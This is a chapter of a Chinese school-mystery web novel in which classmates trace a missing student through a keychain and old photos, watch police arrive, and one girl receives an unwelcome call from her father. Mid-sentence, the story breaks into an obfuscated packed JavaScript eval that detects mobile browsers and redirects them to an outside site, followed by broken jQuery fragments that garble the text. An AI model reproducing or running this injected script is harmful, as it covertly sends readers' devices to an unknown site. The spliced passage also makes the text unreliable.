“估计是生病了,陆于栖前段时间一直脸色不好,上课也趴在桌上。”
…………
吴羽嘴唇动了动,想要说什么,但憋回去了。
来之前纪之水就说过她时间紧迫,碍于和她还不算相熟,也没人追问纪之水急着去干什么。细究起来,他们住宿生的时间更紧,假期难得,早点交流完信息各自做自己的事情对所有人都好。
这和他们几个在班里随时随地闲聊不一样,五人齐聚的机会一个星期顶多也就只有这么一次。吴羽就没插嘴。
纪之水也没在意她的欲言又止,快速地说:“梳理一下我这边找到的东西。”
一切结论都要建立在证据之上。他们未尝不知道陆于栖不在学校的事情可疑,但要证明那天艺术楼里的人是她,还是得拿出让所有人信服的证据。
纪之水从包里掏出一样东西,放在桌面。
陈芊认了出来,“这是……美术教室里那个挂件?你把它捡回来了?”
晚上借着手电筒的光也看不太清楚,他们凑在窗户面前影影绰绰看了个轮廓,只能注意到它的挂绳疑似被外力扯断,并不能说明什么。
当纪之水把它摆在桌面上时,这还是他们第一次看清楚这挂件长什么样。
玩偶挂件的模样像只小鸟,嘴巴尖尖,配色像是小鸡。
这怎么能证明陆于栖是那天的当事人?
刘瑞平仿佛多动症发作,屁股一直没挨上过椅子,在教室里来回走动。他凑近看了眼挂件,直起身道:“我过后问过了,十三班的排课里没有美术教室3。”
“我知道。”这也正是可疑之处。
一个没有理由出现在美术教室3的人,她书包上的挂件却掉在了现场。
“我翻看过群里的照片,陆于栖的书包上之前就挂着这只鸡。”纪之水划着手机,将相册里保存下来的图片发送进已经荣升为五人群的小群里。
“明明更像鸟……”吴羽嘟哝。
陆于栖的空间锁了,禁止陌生人访问,纪之水的好友添加请求经过几个昼夜的沉淀后石沉大海。
唯一能看到的账号主页里,只挂着几张手绘人像和素描。纪之水研究半天,甚至不知道陆于栖到底长什么样。
万幸的是,纪之水在其他人的空间里找到了蛛丝马迹。
几人齐刷刷掏出手机,点开纪之水发在群里的照片。
手机这种在金城高中被明令禁止的东西,高三学生几乎人手一个。纪之水待的时间越久,越觉得这群人充分贯彻了什么叫做上有政策下有对策,个个是阳奉阴违的好手。
她跟着学到了不少。
图片是一个女生和朋友的合照,几人笑容灿烂,勾肩搭背地朝着镜头做出搞怪的表情,背景看上去像是在游乐园。
陈芊将图片放大,来回端详几个人的样貌和饰品,分辨不出来:“哪个是陆于栖啊?”
两只手同时指向手机屏幕。
陆于栖的身影在画面角落,她半侧着身,因为距离太远,只露出非常模糊的侧脸,背着书包无意中闯入了镜头里。她的书包上挂着满满当当的各色摆件,纪之水指出其中的一个小小的像素点:“就是这只鸡。”
“合照的三个女生是十三班的。”
吴羽收回手,很有经验地说:“这种时候躲在角落里的一般才是主角嘛。”
“好厉害……”陈芊喃喃地说,“这都是春游那时候的照片了,居然连这个也能翻出来……”
“我*啊……!”刘瑞平口中冒出一句脏话。
“你站在窗户边干什么?”罗吉奇怪地看着他,“美术楼不在这里,你从窗户那儿只能看见学校大门。”
“警车!学校外面停着的是警车啊!”
刘瑞平发出浑厚的尖叫。
几人闻声奔向窗边,你拉我我扯你,都想一探究竟,霎时间滚作一团。
“这窗户好小……门口的破雕塑挡住了,什么也看不见……”
“吴羽你别挤我!”
“罗吉你不会重新找个空位吗?!”
纪之水走向另一扇窗户。
距离有些远,放眼望去,她居然真在校门口看到了一辆蓝白配色的车。警灯虽然没亮,熟悉的红蓝配色依旧深深地刻印在每个普通公民心中,谁都能一眼认出那代表着什么。
“什么情况?警察怎么会到学校来?”
他们不约而同地想到了同一件事。
“难道是为了陆于栖?”刘瑞平主动说出了那个猜测,眼神发直,“她不会真的……”
但凡换个时间点,刘瑞平都不会主动往这方面猜。
如果有人在这时候点头,纪之水怀疑眼前这个哆哆嗦嗦的小胖子可能会当场晕过去。
“陆于栖不可能坠楼。”纪之水平静地说。
“艺术楼前的出血量不对,更像是有人划伤。”她伸出手比了比伤口大小,约莫十来厘米的一条线,“伤在四肢,长度不会太夸张,没有伤及大动脉,这个程度是死不了人的。”
没有实物证据,不如讲逻辑。几个星期后的今天,警察堪堪到学校,那办事效率简直差得离奇。
几个人看着纪之水比比划划,表情非但没轻松一点儿,甚至平添更多复杂。
“出血量?你怎么知道?”
“我没说过吗?你们之前看到的鲁米诺溶液是我洒的。”纪之水说,“你们去艺术楼的那个晚上,我刚好也在。”
甚至还亲眼目睹了他们四散着逃开。
“我服了。”罗吉反应过来了,立即想到那天走廊深处传来的怪声,无语地说,“走廊上的那个人是你啊……你干嘛躲起来吓人?出来打个招呼的事儿,搞的我们以为撞鬼了,吓得要死。”
“吓人吗?抱歉,我没注意。”纪之水歉疚地微笑起来。
“我看到那两个警察了!他们在那儿!”
陈芊拽了拽吴羽的衣袖,朝一个方向指了指。
余光中,刘瑞平赫然是六神无主的模样,时不时推一把眼镜架,眼神都散了。
陈芊安慰道:“刘瑞平,你也别想太多嘛。说不定又是防诈骗指标下来了,要到学校宣传。”
“是吗……”刘瑞平尾音发飘。
“瞧着不像。”吴羽说。
各种安全宣传和反诈宣传一般不会选在周日。
常青树树影之下,两人走得快,一眨眼就不见了踪影。
罗吉摇了摇头,说:“有树挡着,看不见人了。”
“接下来怎么办?”茫然的阴影笼罩刘瑞平的面孔。
这段时间的忙碌像是投进大海的一颗石头,掉下去了,也没碰到底。几人忙活了一通,做了半天无用功。
陆于栖身上究竟发生了什么?
没人知道。
为什么十三班那么多人,却找不出一个和她称得上相熟的朋友?
这似乎也不重要了。
现下,警察忽而造访学校。
这或许代表着那天周末艺术楼的矛盾进入了警方的视野,刘瑞平可以松口气了:他再也不用担心自己是当日唯一的目击者,要战战兢兢地背负着目睹同学意外坠亡却知情不报的心理压力。
然而真的如此吗?
刘瑞平站在窗边,茫然地打量着警察走过的小径,三三两两的学生握着请假条从门卫身侧通过……好不容易得来的周末,理应好好珍惜。
他回身扫过同伴们的脸。
最终看向了罗吉。
罗吉从窗户边离开,回身收拾东西。
他说:“明天开始就是月考了。”
虽然也没什么可收拾的,不过是摊在桌面上写了一半的试卷,还有一支笔。
罗吉将这些东西塞进包里,淡声提醒道:“你还是担心担心自己吧,这回名次再掉,你爸妈可不会放过你。”
“有警察介入是件好事。如果他们是为于栖而来,那么不管陆于栖身上究竟发生了什么,无论是和人发生矛盾受了伤,还是被人校园霸凌,警察总会调查清楚。无论如何,他们肯定比我们做的好。”
刘瑞平仍然在发愣,陈芊用纸巾擦拭着模糊的玻璃窗,出神地往外看。
“好了,回去吧。”吴羽轻飘飘地说。
她推开教室的大门,阴天的阳光散发着冷意,将她的影子投在地面上。倏忽想起了什么,吴羽侧过脸。
“我拿到了假条。有人要带奶茶吗?没的话我就走咯?”
话音落定,得到了三束艳羡的目光。
“怎么拿到的假条?死丫头命真好。”罗吉应声,从口袋里掏钱赛给她,“还是老样子。谢了姐们。”
吴羽背过身挥了挥手,短发利落而潇洒。
刘瑞平许久才回过神,动了。
他追上罗吉,“再过十分钟去食堂吧?等他们吃得差不多了,人会少一点……”
各自告别。
教室里只剩下纪之水和陈芊。
陈芊仍旧维持着站在窗户边上向外看的姿势。她呼出的热气凝在玻璃上,是一团白雾,眼神盯着远方的一个点。
纪之水站在她旁边没有动,半晌听到陈芊开口:“你看。”
纪之水就凑过去看了。
就着陈芊擦过的那一面玻璃——只擦了一面,自然清晰不到哪里去,外面一层还留着雨水爬过又干涸的印迹。纪之水从那一团小小的、不甚清晰的单面里,在校门口看到熟悉的身影。
隔得远,散着头发的年轻女人又背对着她们的方向,原本不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862761|176120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
容易认得出是谁,她穿着常服,卷发呈现出斑驳的黄。
在学校这个特殊生态里不需要遵守服饰规则,又要足够年轻,同时满足以上两点,答案不难猜测。
无怪乎陈芊认得出。
她站在一辆车边,刚从副驾驶下来,夸张的肢体动作显出激动的情绪。显然正在和主驾驶座上的人争执。
“周英?”
“你们英语老师在和人吵架诶。”陈芊有些惊奇地说。
纪之水不感兴趣地收回视线。周英昨天又在隔壁一班发了火,尖锐的声音透过单薄的墙壁,屡次盖过手持话筒的物理老师的讲课声。
陈芊没怎么见过周英和人发生矛盾,才能连这点事都看得津津有味。
“呀……和她吵架的人走开车了。”
·
纪之水没有看热闹的闲心。
她只担心自己接下来的命运。
黎兴学说和李茂谈完会接她回去,纪之水有错在先,默认了。她迟迟没有等到消息,陈芊邀请她回女生宿舍小坐。
盛情难却。
“这里没什么好招待的……牛奶喝不喝?还是可乐?”陈芊在狭小的储物柜里挑选,转过头眼神亮晶晶地问。
纪之水捧着牛奶,和陈芊排排坐在床沿。
金城高中的宿舍是八人寝,上下铺,面积很小,中间没有桌子,过道只容得下两人通行。阳台上,半干的校服从晾衣绳上吊下来,连稀薄的阳光都遮住大半,白天不开灯,室内很阴暗。
陈芊赧然地笑了笑,“条件比较简陋。”
这句话放在其他场合还能理解为自谦,在当下,只能叫写实。整个宿舍里年纪最小的估计是十年前加装的空调,其次是冲着她笑的陈芊。
纪之水艰难地说:“还、还可以吧。”
毕竟是她们住的地方。
八个挤挤挨挨的床铺紧贴着墙壁,挂着半透的蓝色蚊帐,似乎是统一的制式。到了冬天,蚊帐也没收下去,它的功效可能除了遮蚊外还有其他作用,比如——
“芊芊,帮我关一下门!我要换衣服了!”一个女孩从上铺探头。
“好哦!”陈芊下去关门。
比如现在。
女孩换好衣服,和她们说了一声,端着洗漱用品离开宿舍。宿舍又恢复了门户大敞的样子,或许是因为太过狭小,也不算太冷。
至少比文学社教室温度高。
陈芊说:“有点冷是不是?”
“还好。”
陈芊解释道:“空调遥控器在阿姨手里,我们没办法自己开。你要是冷,我去把门关上。”
晚上宿管阿姨带着空调遥控器上楼开空调,再一关门,后半夜的二氧化碳含量虽然高得让人难以想象,但至少暖和。往好处想,白天宿舍虽然不能开空调,至少阳台门和前门都开着,宿舍里透气。
纪之水拒绝了。
门开着方便些。
女孩们结伴去澡堂洗澡、吃饭、洗衣服,宿舍人来人往,略有几分热闹。她们终究没有停留太久,短暂来过又相携离开,最后寝室里又只剩下纪之水和陈芊。
记不清第几次和人说“再见”,纪之水扫过陈芊沉静的眉眼,觉得奇怪。似乎她也应该是珍惜着来之不易的假期,连打水、洗澡都要小跑着前进的一员。陈芊却接连拒绝了来自舍友的几次邀约,稳稳当当地坐在这里。
“你没有别的事要干么?”纪之水担心自己的造访是一种打扰。
“没有哦。”陈芊摇头,心情愉快地和她玩牌——还是那副差点在骆一燃举报下不保的那副,打发时间。
纪之水没看牌,目光落在陈芊纤细的手腕上,只关注一件事:“饭也不吃吗?”
“嗯,不吃了。等一会儿吴羽带吃的回来,两顿并一顿。”陈芊邀请道,“你要不要和我们一起?”
这种吃法真的好么?
饱一顿饿一顿,怎么看都像是对胃的虐待。纪之水摇了摇头。
“不……我一会儿回家。”纪之水道,“吴羽她怎么请假了?假条很难批啊。”
“是啊,现在假条越来越不好拿了。”陈芊抱怨起来,“之前我还能串通我妈请病假天天出去洗澡。结果现在,请假请得太勤,班主任不高兴,三次里面通常只批一次……”
话题很快就歪了。
至于吴羽为什么请假,陈芊最后也没说。
反正也只是闲聊,两人有一搭没一搭地说话。陈芊翻过三张牌,乐了:“好牌!”
也是奇了,这学校每个人好像都对塔罗牌有几分了解。顾天倾说他不懂,纪之水是一个字也不信的。
“你知道这是好牌?”纪之水问。
“不知道啊。但这牌上全是钱……我以后一定会是个有钱人。”陈芊憧憬地说。
纪之水于半个小时后接到黎兴学的电话,这比她预想中的要迟了很多,背景音有嘈杂的人声。纪之水缓缓挑起半边眉毛,这个点办公室不会有人在。
“小河,爸爸已经和你们班主任聊完了。”
纪之水以为这是催促,她并没有如同约定的那样在校门口等待:“你在哪?我去找你。”
那头的声音变得磕绊起来。
纪之水懂了。黎兴学有事要先走一步,不方便带上她。
黎兴学开了口,果不其然先是道歉,工作太忙,无暇顾及她。纪之水不以为忤,很快就接受了,直到黎兴学话锋一转,说起了他和李茂的谈话内容。
倒不是对她的批评,就连外形方面需要整改的地方也提都没提,只是——
“下个星期就要月考了,老师和我的意思呢,是让你这个星期和住宿生一样,留着学校上完晚自习再走。”
晴天霹雳。
纪之水没法维持淡定了。
对面还在继续:“明达也和爸爸说过你在学校里跟不上进度。这是正常的事情,毕竟刚转来金城念书,小河你也不要太着急啊。晚自习留下来也有好处,你遇上不会的题目还能去问问老师们,你说是不是啊小河?”
黎兴学根本没有给纪之水说话的机会,自顾自地说:“爸爸也和王叔通过电话了,每天一下课就去接你放学,比你一个人上下学要安全……”
“知道了。”纪之水面无表情地说。
“还有,我叫纪之水。”纪之水顿了一下,“虽不知道为什么你一直记不住我的名字,但还是拜托你稍微记一下吧。”
不要再叫她“小河”了。
她妈妈纪女士可没有给她起过这种小名。
纪之水挂断电话。